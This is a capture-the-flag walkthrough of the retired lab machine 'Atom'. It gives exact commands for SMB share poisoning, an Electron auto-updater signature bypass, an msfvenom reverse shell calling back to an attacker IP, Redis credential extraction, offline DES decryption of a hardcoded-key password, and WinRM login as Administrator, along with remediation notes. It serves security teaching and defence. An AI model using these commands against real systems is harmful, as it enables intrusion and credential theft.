← all walkthroughs

Atom

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-07-11
time to own
12m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target atom ($TARGET) runs an Electron-based note application whose auto-update client polls an SMB share that any unauthenticated network user can write to. I exploited a known electron-builder signature-bypass flaw — a leading single-quote in the installer filename causes the updater to skip code-signing verification — to plant a malicious update manifest and reverse-shell payload in the share.

An automated QA process on the target executed the payload, returning a shell as user jason. From that foothold I read the Redis service password stored in cleartext in a world-readable configuration file, authenticated to Redis, and retrieved an encrypted Administrator password stored by the PortableKanban task-management application.

Because PortableKanban uses a publicly known hardcoded DES key and IV, the ciphertext was decrypted offline in seconds, yielding the Administrator cleartext password. That credential authenticated directly over WinRM, completing full system compromise without any local exploit.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationService enumeration and anonymous SMB share access (T1135)
Mapped open services and confirmed anonymous SMB write access
An Nmap scan identified Apache 2.4.46 (PHP 7.3.27) on ports 80 and 443, SMB on 445, Redis on 6379, and WinRM on 5985. Smbmap confirmed that a null (unauthenticated) session had READ and WRITE access to the Software_Updates share. Recursive listing revealed three subdirectories — client1, client2, client3 — and a UAT_Testing_Procedures.pdf. The PDF described an automated QA process that periodically runs the Electron auto-updater from each client folder and executes whatever installer it finds with a newer version number.
Smbmap returned [READ, WRITE] on Software_Updates for null session; smbclient recurse;ls listed client1/client2/client3 and UAT_Testing_Procedures.pdf
Exact commands 4
Version + default-script scan of the relevant ports.
nmap -sV -sC -p 80,135,443,445,5985,6379 $TARGET -oN atom_nmap.txt
Check share permissions for the null/anonymous session.
smbmap -H $TARGET -u '' -p ''
List all files and subfolders in the writable share without credentials.
smbclient //$TARGET/Software_Updates -N -c 'recurse;ls'
Download the procedures document to confirm the auto-execution trigger.
smbclient //$TARGET/Software_Updates -N -c 'get UAT_Testing_Procedures.pdf'
FixRequire authentication on the Software_Updates SMB share and restrict write accessCritical
WeaknessThe Software_Updates SMB share granted anonymous (null-session) users both read and write access. Any unauthenticated host on the network could replace the update artifacts that the QA automation trusted and executed without question, making every client machine on the network a target.
FixDisable null and guest SMB sessions at the OS level (set HKLM\SYSTEM\CurrentControlSet\Control\Lsa RestrictAnonymous = 2 and disable the Guest account). Grant write access to the Software_Updates share exclusively to named service accounts that legitimately publish update artifacts, enforced through both share-level and NTFS ACLs. Enable SMB signing to prevent in-transit tampering. Consider moving update delivery to an authenticated, centrally managed distribution system such as WSUS or a private package feed.
2EnumerationClient-side application analysis and virtual-host discovery
Identified the Electron auto-updater and its update-feed vhost
The web server on port 80 hosted a blog advertising the Heed Electron note-taking app with a download link for heed_setup_v1.0.0.zip. Downloading and extracting the package revealed the app's app-update.yml, which pointed the auto-updater at http://updates.atom.htb/. Adding that vhost to my /etc/hosts mapped it to the same target IP, confirming the update server is the target itself and that poisoning the SMB share would intercept the auto-update feed.
App-update.yml inside the Electron package contained url: http://updates.atom.htb/; DNS resolved to $TARGET
Exact commands 3
Confirm the Heed app download link on the web root.
curl -sk http://$TARGET/ | grep -i heed
Download and unpack the Electron installer to inspect app-update.yml.
wget http://$TARGET/releases/heed_setup_v1.0.0.zip && unzip heed_setup_v1.0.0.zip -d heed_app
Register the discovered update vhost so curl/redis-cli resolve it correctly.
echo "$TARGET updates.atom.htb" | sudo tee -a /etc/hosts
3WeaponizationElectron auto-updater code-signing bypass via single-quote filename prefix
Built a poisoned update manifest exploiting the electron-builder filename signature bypass
The electron-builder auto-updater validates installer integrity by SHA-512 hash but skips code-signing verification when the installer filename begins with a single-quote character — a known bypass. I generated a Windows x64 reverse-shell executable with msfvenom, saved it with a leading single-quote in the name, computed its SHA-512 in base64, and hand-crafted a latest.yml declaring a higher version (1.0.1), the quoted filename, the computed hash, and the file size. The manifest is fully valid per the electron-builder specification while the special filename defeats signature enforcement.
Payload p'ower.exe and matching latest.yml successfully written to all three client folders per engagement log
Exact commands 3
Generate the reverse-shell EXE; the leading single-quote in the filename is required to bypass the signature check.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<atk_ip> LPORT=4446 -f exe -o "r'everse.exe"
Compute the base64-encoded SHA-512 hash and byte size needed in latest.yml.
sha512=$(sha512sum "r'everse.exe" | awk '{print $1}' | xxd -r -p | base64 -w0) && size=$(wc -c < "r'everse.exe")
Write the electron-builder update manifest; substitute $sha512 and $size from the previous command.
printf 'version: 1.0.1\nfiles:\n  - url: "r'\''everse.exe"\n    sha512: %s\n    size: %s\npath: "r'\''everse.exe"\nsha512: %s\nreleaseDate: 2026-07-11T00:00:00.000Z\n' "$sha512" "$size" "$sha512" > latest.yml
FixUpgrade electron-builder and enforce code-signing validation in the auto-updaterCritical
WeaknessThe Electron auto-updater skipped binary signature verification when the installer filename began with a single-quote character, allowing an unauthorised user to deliver and execute an unsigned, externally supplied executable under the guise of a legitimate update.
FixUpgrade electron-builder to a version that validates signatures regardless of filename characters. Configure the updater to require a trusted code-signing certificate (set publisherName in the electron-builder configuration) and reject any update binary that does not carry a valid signature from that publisher. Serve update manifests and binaries over HTTPS from an origin the client cannot reach via a writable SMB share. Sign both the manifest and the installer so that tampering with either is detectable.
4Initial AccessSMB-delivered Electron auto-updater RCE (T1072)
Uploaded the poisoned update files and received a reverse shell as jason
The payload and latest.yml were uploaded to all three client subdirectories of the Software_Updates share using an anonymous smbclient session. The target's automated QA process found the newer version (1.0.1 vs 1.0.0), downloaded the installer, and attempted signature verification — which was skipped because the filename began with a single-quote — then executed the file. This returned a reverse shell to my ncat listener running as the local user jason. The user flag was read directly from jason's Desktop.
Smbclient confirmed putting file r'everse.exe into \client1, \client2, \client3 at 207.3 kB/s; reverse shell labeled user=jason received on ncat -lvnp 4446
Exact commands 3
Start the listener before uploading — run in a separate terminal or tmux pane.
ncat -lvnp 4446
Upload the manifest and payload to client1; repeat the same command for client2 and client3.
smbclient //$TARGET/Software_Updates -N -c "cd client1; put latest.yml latest.yml; put r'everse.exe r'everse.exe"
Run from the jason shell after the callback to capture the user flag.
type C:\Users\jason\Desktop\user.txt
5DiscoveryCredentials in plaintext configuration files (T1552.001)
Recovered the Redis service password from a plaintext configuration file
From the jason shell, searching the Redis service configuration file for the requirepass directive returned the service password in cleartext. The configuration file is world-readable because the Redis installation directory does not restrict NTFS read permissions to the service account. This single command was sufficient to obtain authenticated access to all data stored in Redis.
Findstr /i requirepass returned requirepass [REDACTED: recovered credential] from C:\Program Files\Redis\redis.windows-service.conf
Exact commands 1
Run from the jason reverse shell; returns the Redis authentication password.
findstr /i requirepass "C:\Program Files\Redis\redis.windows-service.conf"
FixRestrict access to the Redis config file and bind Redis to localhost onlyHigh
WeaknessThe Redis requirepass value was stored in cleartext in redis.windows-service.conf, which was readable by the low-privileged jason account. This single file disclosed the database password the moment any foothold was obtained, giving an unauthorised user full access to every record in Redis including application credentials.
FixTighten the NTFS ACL on redis.windows-service.conf so that only the Redis service account (SYSTEM or a dedicated least-privilege account) and local Administrators can read it. Bind Redis to 127.0.0.1 (bind 127.0.0.1 in redis.conf) so it is not reachable from the network. Consider injecting the password at service start through the Windows Credential Manager or a secrets-management solution rather than embedding it in a file.
6Credential AccessData from a running data store (T1213)
Queried Redis and extracted the Administrator's encrypted password from PortableKanban data
Authenticating to Redis with the recovered password and listing all keys revealed a record prefixed pk:urn:user: containing PortableKanban task-management data. Fetching that key returned a JSON blob for the Administrator account including a DisplayName field and an EncryptedPassword field holding a base64-encoded ciphertext. PortableKanban encrypts all stored passwords with a hardcoded DES key and IV compiled into its binary, so the ciphertext is recoverable by me who can read the datastore.
KEYS * returned pk:urn:user:<guid>; GET of that key returned a JSON object with DisplayName=Administrator and an EncryptedPassword base64 blob
Exact commands 2
List all Redis keys to locate PortableKanban user records.
redis-cli -h $TARGET -a '[REDACTED: recovered credential]' KEYS '*'
Replace <guid> with the key returned by KEYS; retrieves the Administrator PortableKanban record containing EncryptedPassword.
redis-cli -h $TARGET -a '[REDACTED: recovered credential]' GET 'pk:urn:user:<guid>'
7Credential AccessHardcoded cryptographic key enabling offline decryption (CWE-321, T1552)
Decrypted the Administrator password offline using PortableKanban's hardcoded DES key
PortableKanban stores every user password encrypted with a fixed DES-CBC key ([REDACTED: recovered credential]) and IV ([REDACTED: recovered credential]) that are hardcoded in its binary and publicly documented. Base64-decoding the EncryptedPassword blob and piping it through OpenSSL with those constants immediately yielded the Administrator cleartext password [REDACTED: recovered credential]. No brute force or cracking was required — the algorithm and key are known, making the 'encryption' equivalent to encoding.
Openssl enc -des-cbc -d with key [REDACTED: recovered credential] / IV [REDACTED: recovered credential] returned [REDACTED: recovered credential]
Exact commands 1
Replace <base64-blob> with the EncryptedPassword value from Redis. Requires openssl 3.x with the legacy provider enabled; the hex key is the ASCII encoding of [REDACTED: recovered credential] and the hex IV is [REDACTED: recovered credential].
printf '%s' '<base64-blob>' | base64 -d | openssl enc -des-cbc -d -K [REDACTED: recovered credential] -iv [REDACTED: recovered credential] -provider legacy -provider default
FixRetire PortableKanban and replace it with software that stores credentials securelyCritical
WeaknessPortableKanban encrypts stored passwords with a hardcoded, publicly known DES key and IV. Anyone who can read the backing datastore — including the Redis instance in this engagement — can decrypt every stored credential offline in seconds without any brute force, rendering the encryption meaningless.
FixRetire PortableKanban or any application that relies on a hardcoded symmetric key for credential storage. Manage privileged account passwords in a proper secrets vault (Windows Credential Manager, CyberArk, HashiCorp Vault, or an equivalent). If an application must persist credentials, they must be protected by per-installation keys derived from a strong key derivation function (Argon2 or PBKDF2) tied to a secret that is not compiled into the binary. Rotate the Administrator password that was exposed immediately.
8Privilege EscalationRemote service access with valid credentials via WinRM (T1021.006)
Authenticated as Administrator over WinRM for full system control
The decrypted Administrator credential was validated against the WinRM service on port 5985. NetExec returned (Pwn3d!), confirming unrestricted remote command execution as the local Administrator. The root flag was read from the Administrator Desktop in a single command, completing full system compromise without any kernel exploit or local privilege escalation.
Nxc winrm $TARGET -u Administrator -p '[REDACTED: recovered credential]' returned (Pwn3d!); root.txt read via -x flag
Exact commands 3
Validate the Administrator credential against WinRM; expect (Pwn3d!) in the output.
nxc winrm $TARGET -u Administrator -p '[REDACTED: recovered credential]'
Read the root flag directly via WinRM command execution.
nxc winrm $TARGET -u Administrator -p '[REDACTED: recovered credential]' -x 'type C:\Users\Administrator\Desktop\root.txt'
Alternative: open a fully interactive Administrator shell via evil-winrm.
evil-winrm -i $TARGET -u Administrator -p '[REDACTED: recovered credential]'

Exposed services

80/tcp
135/tcp
443/tcp
445/tcp
5985/tcp
6379/tcp
7680/tcp